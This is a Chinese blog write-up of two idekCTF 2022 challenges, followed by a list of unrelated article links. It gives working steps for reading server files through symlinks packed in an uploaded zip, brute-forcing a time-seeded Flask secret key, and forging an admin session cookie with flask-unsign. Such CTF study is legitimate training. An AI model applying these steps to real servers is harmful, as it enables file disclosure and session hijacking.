当前位置: 首页 > news >正文

idekCTF 2022 比赛复现

Readme

首先 []byte 是 go 语言里面的一个索引,比如:

package mainimport "fmt"func main() {var str string = "hello"var randomData []byte = []byte(str)fmt.Println(randomData[0:])	//[104 101 108 108 111]
}

上面这串代码会从下标从 0 开始一直到最后的字符串转换为十进制数输出。

我们看一下源码,开头的几段告诉我们设置了一个哈希密码,然后把这个密码复制到 randomData 数组的 12625 位置后面。

在这里插入图片描述
接着设置了一个结构体,json 形式,属性名 是 Orders,Orders 是一个整数数组,从 randomData 中提取指定数量的数据,按顺序检索完成后,检索32个字节,如果与密码哈希匹配,则会得到一个标志,也就是说,如果能够按顺序提取12625 字节就好了,但由于数量限制(最大 10),这是不可能的。

在这里插入图片描述
在这里插入图片描述
这边有位大佬说:

由于 randomData 有一个固定的种子,所以总是出现相同的字节串来检查缓冲区的查找进度。
{“orders”:[100,1]}如果你这样尝试,101 字节的寻道应该前进,但它前进了 4097 字节。(不知道为啥)


{“orders”:[100,100,1]} 然后前进8193字节。 所以如果指定 100,可以前进 4096 个字节。 我们要前进
12625 个字节,所以 4096 3=12288 还剩 337 个字节。99 3=297 还剩下 40 个字节。

最后就是:

{"orders":[100,100,100,99,99,99,40]}

在这里插入图片描述

SimpleFileServer

知识点:软连接(symlink),伪目录(proc),cookie 伪造,时间戳(时区不同)

下载源码,审计后可以发现重要的就是几个地方。

flag 需要 admin 权限。

在这里插入图片描述

我们可以伪造 admin 的 cookie 来登录获取 flag,在 app.py 中可以看到密钥在环境变量里面。

在这里插入图片描述

在 config.py 中可以看出密钥的生成,它还提示我们 SECRET_OFFSET 是编辑后的,那么我们还要找一下真正的 config.py。

在这里插入图片描述

在 app.py 中可以发现它接收一个压缩包并直接解压,没有任何处理,那么我们是不是可以通过软连接的形式来读取文件,那么目录是什么呢?可以通过 /proc(虚拟文件系统)来读取真正的 config.py。

在这里插入图片描述

两条命令,然后把生成的 zip 上传上去并且访问 /uploads/ID/succ 就可以得到真正的文件了。

ln -s /proc/self/cwd/config.py succ
zip --symlinks succ.zip succ

在这里插入图片描述

但密钥的构造里面还有一个未知的就是服务其的启动时间,这个我们可以读日志,Dockerfile 里面也告诉了我们日志的位置。

在这里插入图片描述

同样的两条命令。

ln -s /tmp/server.log succ
zip --symlinks succ.zip succ

得到时间,我们在把它转换成时间戳的格式,但是这边有个坑,这是英国的时间,不是中国的所以要在其基础上加八个小时,最后再转换成时间戳。
在这里插入图片描述

如下:

在这里插入图片描述
前后 1 秒钟之间的所有时间戳列出来,拿我们注册的 cookie 验证一个哪个正确。

import random
import os
import timefor d in range(-1000,1000):random.seed((1673910802 - 67198624) *1000 + d)print("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))
flask-unsign -c "eyJhZG1pbiI6ZmFsc2UsInVpZCI6InN1Y2MifQ.Y8YgQg.ylUP0n8MGFt8TSh3pOYGw6cDRIE" --unsign --wordlist test.txt --no-literal-eval

在这里插入图片描述

得到 key 我们就可以伪造 admin 了。

flask-unsign --sign --secret 074cce10940b886e3089f27a878577cd --cookie "{'admin': True, 'uid': 'succ'}" 

在这里插入图片描述

最后拿上伪造的 cookie 访问 flag 就可以了。

在这里插入图片描述

http://www.lryc.cn/news/2827.html

相关文章:

  • jvm的类加载过程
  • VOC数据增强与调整大小
  • Linux 安装jenkins和jdk11
  • Pandas——Series操作【建议收藏】
  • JUC并发编程Ⅰ -- Java中的线程
  • 基于vue-admin-element开发后台管理系统【技术点整理】
  • 【C语言学习笔记】:通讯录管理系统
  • 开关电源环路稳定性分析(10)——OPA和OTA型补偿器传递函数
  • 2.11知识点整理(关于pycharm,python,pytorch,conda)
  • Linux服务器开发-2. Linux多进程开发
  • Excel中缺失数据值的自动填充
  • 路由器刷固件
  • leetcode: Two Sum II - Input Array is Sorted
  • STL——list
  • 实战打靶集锦-004-My-Cmsms
  • c++代码实现我的世界(14)
  • RMQ--区间最值问题(在更)
  • 一篇文章搞懂Cookie
  • 深入解读.NET MAUI音乐播放器项目(二):播放内核
  • 4.SpringWeb
  • C++中的枚举与位域
  • 第19章 MongoDB Limit与Skip方法教程
  • 进程间通信——消息队列
  • OpenMMLab 实战营打卡 - 第 7 课
  • MAC Boook打印长图
  • web3:区块链共识机制系列-POS(Proof of Stake)股权证明算法
  • Linux fork()系统调用流程解析
  • 自定义软件帮助文档(qt assistant实现)
  • ESP32设备驱动-GPIO外部中断
  • 【安全】nginx反向代理+负载均衡上传webshel